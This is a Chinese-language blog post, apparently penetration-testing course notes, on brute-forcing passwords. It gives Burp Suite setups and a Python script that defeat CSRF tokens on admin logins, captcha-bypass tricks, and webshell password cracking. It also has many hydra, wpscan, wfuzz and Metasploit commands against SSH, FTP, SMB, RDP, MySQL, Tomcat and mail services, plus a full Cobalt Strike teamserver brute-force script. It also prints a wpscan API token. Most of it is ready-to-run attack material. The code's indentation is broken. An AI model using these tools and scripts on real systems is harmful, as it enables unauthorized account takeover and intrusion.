boxmoe_header_banner_img

⋅無⋅限⋅進⋅步⋅

加载中

文章导读

口令穷举爆破


avatar
yuhui 2025年10月24日 29

口令穷举爆破

穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。

如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危

害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。

常见的服务

1745671360855-42c4f410-8134-4509-8dbf-544232caee13.png

1745671371206-7b9f6eda-dcfb-477d-ae53-30b8d772615e.png

1745671379157-c5588c6d-f33d-46ed-913b-a97112a812e4.png

BP穷举后台密码

截取包之后发送到 intruder 在密码设置变量

选择 payloads 选择要穷举的字典

设置攻击后 根据返回的状态码 status 或者 length 网页长度对其进行判断。这

里得到正确得密码是 123456

根据状态码 一般测试正确的是现实 302 状态码 另外就是响应网页的长度

BP对webshell穷举破解密码

灰帽子对网站攻破后,一般会留后门方便对其网站进行非法管理。后门的程序语

音包括 asp php .net 这些脚本文件放在网站目录, 一般都采用单密码进行登录。

通过扫描获取 webshell 的后门的网址。得到网址后可以对其进行密码穷举。

有token防御的网站后台穷举破解密码

有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会

随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接

穷举和防止 csrf 攻击

1745811439006-5d65fcc5-83bf-4f1b-9d78-0020591247f2.png

BP设置宏获取token对网站后台密码破解

打开 burpsuite 刷新页面 接着 forward 放行这个数据包

1745811484043-a332d151-6667-42e9-87b2-de5d58caea4b.png

来到 Project options –> Session– >add 添加宏

1745811491619-c095e564-e453-489a-a972-a8f6902b09d2.png1745811528423-01e61dbf-f070-439a-9154-ee81cfe2e85b.png1745811533875-e96f6f04-e2b6-4b85-9a5a-8364b00d27ab.png选择 Run a macro

1745811544733-3b2136aa-2b80-4e9a-b8e7-733c544a2e57.png点击之后选择网页历史选择提交之后有 token 的页面。

添加宏

1745811556572-064872f8-1a9b-4504-b48f-78573341b6ab.png

1745811611577-a2e18fac-7553-45a5-b5ee-a27492f71296.png

设置 configure item

1745811620046-c762324c-31e6-4aaa-9559-50ab5a821916.png1745811625839-e9dd63c3-3934-4450-8fec-c033150aed76.pngadd 添加规则

1745811636643-e9ba283e-7018-453d-94bc-8851f40766cc.png

选择 value 的值 Parameter name 填写 user_token 这个值一定要相同

1745811654938-c9e12e7e-f160-4eb5-8bd0-e5efd83011e1.png1745811661688-3f2b4731-30e8-47e2-a255-f6fd91d20587.png1745811667869-3d5666d1-2f72-4e05-be57-4b17dab783de.png1745811673748-1eba28b2-a9b6-43a8-8c3f-d3e6232666c1.png1745811679445-cef502ff-9c0b-4f4d-90b0-f1ba6bb6d534.png1745811685291-7a7dd288-9594-4b9f-8556-32fc9121dd77.png1745811698026-ade72113-9f8b-4adb-bcaa-b2b55b8703d0.png1745811706665-216647c8-8b2c-4836-98b3-b4cb7f877595.png这样宏就设置成功了。

接着穷举测试 抓包 设置变量 添加密码字典

1745811722342-2e013252-3329-48ef-beb7-d7e90461d9e6.png1745811728885-b81d260e-a731-4b61-8fc5-0053f80baaff.png1745811735740-24984a61-30fd-4c32-8b65-9d866617daad.png

1745811747680-d284874b-f007-4111-bf37-f39adea54d5b.png

密码是 password

编写脚本获取token对网站后台密码破解

就上面的登录页面来说

每次访问页面这个 user_token 都会变化导致不能重复提交。

验证原理每次页面生成 user_token 存在 seesion 里面每次登录用 session 里取出来

然后验证如果验证成功 就进行密码匹配。如果验证不成功就输出 csrf 错误。

脚本源码

#coding:utf-8
import requests
import re
url = "http://www.c3moon.com/login.php"
def login(password):
    session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_t
      oken}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
    passlist =p.readlines()
p.close()
for line in passlist:
    line = line.strip("n")
print(line)
if 'File Upload' in login(line):
    print( "[* 密码 is %s *]" % line )
break

密码破解成功

1745812261219-690af547-ebad-46ae-aad6-9d1f69400513.png

针对有验证码后台的穷举方法

网站后台或者有登录的地方都可能存在验证码验证,验证码的作用 不少网站为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险。

cookie不存在不验证绕过

有些网站如果网站不存在 cookie 就不会验证 验证码

1745812526072-ab385905-504e-464b-9866-e5bc6c2275e8.png删除 PHPSESSION 信息 验证码就不进行验证了

1745812536376-fc154239-b5f4-492d-b274-94408fa31858.png

接着对密码进行穷举

1745812545915-2d85984e-6d0c-49a5-9d03-5c4c1a745507.png破解密码成功,登录后台。

后台登录验证码没销毁进行穷举

在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。

不然验证码可复用确定的验证码

1745812581151-536f9470-d534-4153-966e-b035b631c9a6.png1745812588451-ef430071-58ef-4204-9bcb-8cfef2b261ca.png错误的验证码1745812621277-a8755454-0602-47ff-9e35-44e76381ad6f.png

网站后台验证码识别穷举验证码

验证码干扰像素太少很容易就会被一些工具识别出来。如图片提取文字工具

1745812646341-74e85e30-092b-47ff-995a-de1e97575497.png登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码1745812659863-6687d6b5-79fc-48e2-8873-8b7f451175e1.png将 burpsuite 的包放进验证码识别工具 设置字典和验证码参数

1745812676386-196c8874-8b98-4685-8e86-35c9b391ada1.png接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择

再次爆破 验证准确率会提高。

1745812692771-26189010-3d5d-495c-b46d-0f58a5c5e2c8.png最后查看响应长度 获取正确的密码。

phpmyadmin密码穷举

phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户的账号和密码

1745812725566-c5148e4c-9809-4674-b051-21520312473a.png

一句话木马后门破解

一句话后门可以使用 burpsuite 通用穷举方法穷举密码

1745812755091-fcecb5dd-3476-4d41-a6d1-fdc56a81da4e.png抓包 将 cmd 设置成变量 添加字典即可

1745812767041-3075b1d8-5b67-424f-bbe8-74ebc1277383.png

1745812805024-51493f8c-9e1d-4e8d-b8ac-a00721cd84ed.png关键字

asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx
qweasd123=Response.Write("moonsec");

密码是 qweasd123

cheetah对一句后门密码穷举

cheetah 是针对一句话后门的穷举工具

python cheetah.py -u http://orz/orz.php

python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v

python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list

python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000

python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v

cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list

cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list

cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list

支持 asp php .net jsp 后门

-u 后门地址

-r 提交的方法 一般是 post

-n 一次提交密码的数量

-v 详细信息

-p 字典位置

例子

python cheetah.py -u http://www.c1moon.com/cmd.php -r post -n 1000 -v

1745812895741-99258cde-fdfe-4ac1-88ce-4beea33eb741.png

wordpress博客洗头用户密码穷举

wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套

系统的弱口令穷举的方法

https://wpscan.com 首先到这个网站注册账号和密码注册后获取 token

1745812948581-6268e2cf-1414-40bd-a410-dc22a56d70ff.png

自动找账号信息 然后登录穷举

wpscan –url http://www.redteam.com/ -e u -P /home/kali/top100password.txt

–api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w

1745812968338-7c346efa-6180-44cf-aa7c-aacbabb01ce0.png手动收集 wordpress 用户信息 访问连接获取用户信息

http://www.vtmoon1.com/wp-json/wp/v2/users

获取信息可以再进行指定用户爆破1745812982743-e5cdcbe2-95ef-433f-a3f3-acf5a1512d85.png

wpscan –url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt

1745812998054-04af6801-aad4-4139-9dc9-c4d231e91ef8.png

常见端口服务穷举

hydra密码穷举工具

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post}http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listeneroracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcaprsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

使用例子

hydra -l user -P passlist.txt ftp://192.168.0.1

hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

hydra -l admin -p password ftp://[192.168.0.0/24]/

hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]

server service [OPT]

-R

继续从上一次进度接着破解

-S

大写,采用 SSL 链接

-s

小写,可通过这个参数指定非默认端口

-l

指定破解的用户,对特定用户破解

-L

指定用户名字典

-p

小写,指定密码破解,少用,一般是采用密码字典

-P

大写,指定密码字典

-e

可选选项,n:空密码试探,s:使用指定用户和密码试探

-C

使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数

-M

指定目标列表文件一行一条

-o

指定结果输出文件

-f

在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解

-t

同时运行的线程数,默认为 16

-w

设置最大超时的时间,单位秒,默认是 30s

-v / -V

显示详细过程

server

目标 ip

service

指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp

等等

OPT

可选项

使用hydra穷举ssh服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令

使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件

-f 如果找到马上中断扫描

hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f

ssh://192.168.1.104

192.168.1.104 ssh

-l 指定用户

hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f

hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

1745813140313-ed10a690-a6be-4739-8394-7f6d229a9b55.png

使用hydra穷举ftp服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV

hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

1745813163304-fd151074-2b4b-4ae9-a0f6-29d703005b7f.png

使用hydra穷举mysql服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV

hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV

hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

使用hydra穷举smb服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f

1745813202781-3732d4b0-44ae-4b1c-878c-5d7e97beb0d1.png

1745813211709-c8a9c7ee-808d-4a26-9f1c-a22cc74e85ad.png

使用hydra穷举http服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

1745813244899-72716ed1-c8c0-4d2b-ae36-d7fc26ffb0ae.png使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

使用 hydra 穷举 telnet 服务

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

xhyra穷举破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。

终端输入 xhydra 即可使用。

使用 hydra 破解 rdp 服务

1745813300300-67b63c77-abf9-4014-ba70-d4ae8651282c.png1745813306994-1ab655f9-8f31-4e87-a3f8-dc7f2ad25380.png1745813312033-041eefeb-c582-47ff-a573-733a85e242b0.png

metasploit穷举模块使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login

auxiliary/scanner/smb/smb_login

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

模块的用法

首先启动在终端下启动 msfconsole

use 使用 ssh_login 模块

use auxiliary/scanner/ssh/ssh_login

show options 查看模块的参数

1745813350339-02ed9c86-5223-4455-b99c-cdfb2b726015.png

RHOSTS 攻击的目标

PASS_FILE 密码字典

STOP_ON_SUCCESS 成功破解一个终止

THREADS 线程数

set 设置参数

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt

PASS_FILE => /home/kali/2019_top100.txt

msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13

RHOSTS => 192.168.52.13

msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true

STOP_ON_SUCCESS => true

msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root

USERNAME => root

msf5 auxiliary(scanner/ssh/ssh_login) > show options

设置好后用 run 或者 exploit 进行攻击

1745817516000-83f3e1cf-8de1-4d2c-82cb-9fb5eebac0bc.png

御剑RDP爆破工具

1745817535115-c6fff823-7b08-40b7-93f2-960d067fc95d.png

wfuzz多线程穷举密码

用法:wfuzz [options] -z payload,params

Examples:

wfuzz -c -z file,users.txt -z file,pass.txt –sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z

wfuzz -c -z range,1-10 –hc=BBB http://www.site.com/FUZZ{something not there}

wfuzz –script=robots -z list,robots.txt http://www.webscantest.com/FUZZ

wfuzz -c -z file,2019_top100.txt –sc 302 -u

http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

wfuzz -c -z file,2019_top100.txt –hc 404 –hh 1549 -u

http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

wfuzz -c -w /home/kali/csdnpass.txt –hc 404 –hh 1549 -u

http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

1745817570653-f659bf12-346c-42c6-a746-8a399a320f46.png

邮箱密码穷举

默认的收发邮件端口信息

发邮件 pop3 110 加密 995

收邮件 smtp 25 加密 465

企业独立搭建的邮件服务 用MailCracker破解

1745817608159-5f46fdd4-5180-4cea-8d6d-f18136341261.png

针对163 qq这些邮箱用mail脚本穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举

1745817638206-8239367e-9ab0-45c5-a648-62ebaa1cced4.png

CobaltStrike TeamServer口令爆破

Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用 Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。

Cobalt Strike 是由美国 Red Team 开发,官网地址:

http://cobaltstrike.com

这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而

Cobalt Strike 大家可以理解其为 Armitage 的商业版。

TeamServer 口令暴力破解

然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴

力破解,众所周知 Cobalt Strike 的工作方式是以 TeamServer 为核心,可多个 Cilent

的 CS(Server Cilent)架构。

启动 teamserver

sudo ./teamserver 192.168.0.102 123456

启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码

是 123456 即可登录。

如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率

获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其

控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

#!/usr/bin/env python3
# -*- coding:gbk -*-
import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t
o-properly-require-a-minimal-python-versi
MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
sys.exit("Python %s.%s or later is required.n" % MIN_PYTHON)
parser = argparse.ArgumentParser()
parser.add_argument("host",
help="Teamserver address")
parser.add_argument("wordlist", nargs="?",
help="Newline-delimited word list file")
parser.add_argument("-p", dest="port", default=50050, type=int,
help="Teamserver port")
parser.add_argument("-t", dest="threads", default=25, type=int,
help="Concurrency level")
args = parser.parse_args()
#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw-
python-socket
class NotConnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class DisconnectedException(Exception):
def __init__(self, message=None, node=None):
self.message = message
self.node = node
class Connector:
def __init__(self):
self.sock = None
self.ssl_sock = None
self.ctx = ssl.SSLContext()
self.ctx.verify_mode = ssl.CERT_NONE
pass
def is_connected(self):
return self.sock and self.ssl_sock
def open(self, hostname, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(10)
self.ssl_sock = self.ctx.wrap_socket(self.sock)
if hostname == socket.gethostname():
ipaddress = socket.gethostbyname_ex(hostname)[2][0]
self.ssl_sock.connect((ipaddress, port))
else:
self.ssl_sock.connect((hostname, port))
def close(self):
if self.sock:
self.sock.close()
self.sock = None
self.ssl_sock = None
def send(self, buffer):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
self.ssl_sock.sendall(buffer)
def receive(self):
if not self.ssl_sock: raise NotConnectedException("Not connected (SSL
Socket is null)")
received_size = 0
data_buffer = b""
while received_size < 4:
data_in = self.ssl_sock.recv()
data_buffer = data_buffer + data_in
received_size += len(data_in)
return data_buffer
def passwordcheck(password):
if len(password) > 0:
result = None
conn = Connector()
conn.open(args.host, args.port)
payload = bytearray(b"x00x00xbexef") + len(password).to_bytes(1,
"big", signed=True) + bytes(
bytes(password, "ascii").ljust(256, b"A"))
conn.send(payload)
if conn.is_connected(): result = conn.receive()
if conn.is_connected(): conn.close()
if result == bytearray(b"x00x00xcaxfe"):
return password
else:
return False
else:
print("Ignored blank password")
passwords = []
if args.wordlist:
print("Wordlist: {}".format(args.wordlist))
passwords = open(args.wordlist).read().split("n")
else:
print("Wordlist: {}".format("stdin"))
for line in sys.stdin:
passwords.append(line.rstrip())
if len(passwords) > 0:
print("Word Count: {}".format(len(passwords)))
print("Threads: {}".format(args.threads))
start = time.time()
# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
attempts = 0
failures = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as
executor:
future_to_check = {executor.submit(passwordcheck, password): password
for password in passwords}
for future in concurrent.futures.as_completed(future_to_check):
password = future_to_check[future]
try:
data = future.result()
attempts = attempts + 1
if data:
print("Found Password: {}".format(password))
except Exception as exc:
failures = failures + 1
print('%r generated an exception: %s' % (password, exc))
print("Attempts: {}".format(attempts))
print("Failures: {}".format(failures))
finish = time.time()
print("Seconds: {:.1f}".format(finish - start))
print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
else:
print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

1745817778055-bb5b0647-d44d-4f85-b8ea-bf2763db056e.png

对tomcat服务穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。

1745817807226-b9c24f27-32d4-488b-b046-7528b633fdcb.png

use scanner/http/tomcat_mgr_login

set PASSWORD 设置密码字典

set RPORT 8081 设置端口

set RHOSTS 192.168.52.6

exploit 攻击

1745817821565-9e880274-30a1-4c33-9a59-cf6e31a7f797.png

超级弱口令穷举

1745817835823-fe383faa-eb04-488d-ac10-68740ef5562f.png

exchange邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt

-delay 0 -v -insecure

更新: 2025-04-28 13:25:01
原文: https://www.yuque.com/yuhui.net/network/zg6bpzg5kfggipug



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码